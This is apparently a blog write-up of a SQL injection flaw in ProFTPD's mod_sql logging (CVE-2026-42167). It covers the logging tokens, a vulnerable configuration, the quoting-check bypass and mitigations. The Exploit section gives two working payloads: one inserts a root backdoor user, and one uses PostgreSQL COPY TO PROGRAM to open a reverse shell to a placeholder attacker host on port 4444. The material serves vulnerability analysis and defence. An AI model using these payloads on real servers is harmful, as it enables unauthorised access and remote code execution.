Background
ProFTPD is a free open-source FTP server software designed for Unix-like systems it allows for secure file transfers, supporting virtual hosts, TLS encryption and authentication against external databases making it suitable for web hosting
ProFTPD authentication users using modular system that allows it to pull creds from a system files, databases, flat files
Default Authentication Method
by default ProFTPD uses PAM (Pluggable Authentication Modules) so it typically consults the system /etc/passwd file and PAM to authentication users which means the user has to have a valid user account on the server (actual user that can login to the system)
and by default it also requires the user's shell to be listed in /etc/shell
DB Authentication
as we said earlier what makes ProFTPD powerful that it supports authentication against external DBs like (MySQL, PostgreSQL, SQLite)
but to use a database you must have the mod_sql module which allows for virtual users (users that exists only in the DB without entry in the /etc/passwd)
it also supports modules like
mod_auth_filethat is similar to.htpasswdfiles where we can define user and passwords in a custom file instead of a file systemmod_ldapauthentication against LDAP and ADmod_auth_otpsupports OTP for secure authentication
the CVE-2026-42167 affects the mod_sql which offers this features
- supports authentication against database instead of
/etc/passwd - logs FTP activity into a SQL tables
Logging
ProFTPD logs using SQLLog and SQLNamedQuery
the Named Query is a named SQL operation that ProFTPD can execute and it is named so we can reference later a basic example of it that logs every FTP session into a table would be
SQLNamedQuery log_login INSERT "'%u', '%a', now()" session_log
and this says when this query is called insert into session_log the values %u, %a, now()
the %char is a variable or known as tokens which are replaced by their corresponding values at runtime when the query is executed
for example
| Variable | What it sets | when it's set |
|---|---|---|
%U |
username before any mapping (literal string provided by the client) | after USER command, pre-auth |
%u |
the mapped username (as recognized by local system) | after successful auth only |
%a |
Client IP | |
%r |
Full command string | |
%m |
FTP verb or method only | |
%{basename} |
filename component only | post auth |
the dangerous ones are %U, %r and %{basename} cause they carry raw client input |
the SQLLog is the trigger for all this
it tells ProFTPD when to execute a named query, specifically on which FTP command or event
for example
SQLLog PASS log_login
SQLLog QUIT log_logout
SQLLog STOR log_upload
SQLLog ERR_* log_errors
SQLLog * log_all
Setup
this is not a default-install bug so it needs 3 main things to be vulnerable
mod_sqlenabled and loadedSQLLog/SQLNamedQuerylogging is configured, and log statement that interpolates an attacker-controlled variable (dangerous one we mentioned above) directly into SQL query- SQL backend supports attack path we want (stacked queries for backdoor injection, PostgreSQL superuser for RCE)
Root Cause
a working config file
SQLAuthenticate on
# col names in the users table
SQLUserInfo users userid passwd uid gid homedir shell
# define named query called log_activity
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
# execute log_activity on EVERY FTP command
SQLLog * log_activity
# also execute it on errors
SQLLog ERR_* log_activity
so when a normal user logs in, say alice from IP 10.10.10.10 the USER alice command fires ERR_* if the password is wrong and ProFTPD expands the format and runs
INSERT INTO activity_log VALUES('alice', 'USER alice', 'USER')
which is completely normal but look at what '%U' is actually doing in that query string
The quoting convention
the configured named query value string is
"'%U', '%r', '%m'"
and the single quotes around each token are there because string literals require them, so when the admin writes '%U' after substitution the result is properly quoted SQL string like alice and this is exactly what the upstream documentation recommends
But look at what ProFTPD does internally before it even touches the DB
inside the sql_resolved_append_text() before building the final query it calls is_escaped_text() on the resolved value of %U before getting wrapped in single quotes
at that point is_escaped_text() runs, the value it receives is not just alice but it is 'alice' so the username is already wrapped in surrounding quotes
The check
so the check sees
text = 'alice'
text[0] = ' # first character is single quote = check
text[n] = ' # last character is a single quote = check
no internal ' # no quotes live inside = check
returns TRUE → no more sanitization needed
this means even a normal username bypasses sql_escapestring when the config wraps %U in quotes so for a legitimate username it is harmless but it assumes if the value looks like this 'something' some earlier trusted layer already escaped the contents
so here is how it looks
config template: '%U'
attacker sends: '<payload>'
is_escaped gets: '<payload>' → checks out there is no internal quotes so it returns true
#trusted layer already escaped contenr no need to check again
after %U gets wrapped: ''<payload>''
so the issue is that the escaped query username and the actual one appended to the raw query are different, one is sanitized and the other is sent
the point: as long as our payload doesn't have actual single quotes inside it we'll survive the check and we can do that using $$something$$ in PostgreSQL or CHR concatenation and the other bypassing techniques we know
Exploit
to get an RCE we need ProFTPD to connect to PostgreSQL using a role that has superuser privileges
we'll inject the %U and our setup has "'%U', '%r', '%m'" so we'll just set the r and m to null and inject after it
there is multiple PoC online that support multiple ways for example
- we can inject user creation if we don't have superuser role
- we can get RCE if the role is guaranteed
and we can do the both things above using the token ${basename} but this one requires valid user cause it is evaluated post auth
to inject a user we'll
',null,null);INSERT INTO users VALUES($$attacker$$, $$attacker_pass$$, 0, 0, $$/$$, $$/bin/bash$$); --'
and to get an RCE
',null,null);COPY (SELECT $$i$$) TO PROGRAM $$bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"$$; --'
for my PoC CVE-2026-42167
for sure, in actual real-world we'll need to find a way to read the config file to know where exactly to inject the %U token and how many tokens needs null placeholder
Mitigation
- Upgrade ProFTPD to at least 1.3.9a
- If upgrade is not possible, disable logging via mod_sql
- Monitor ProFTPD instances for suspicious activity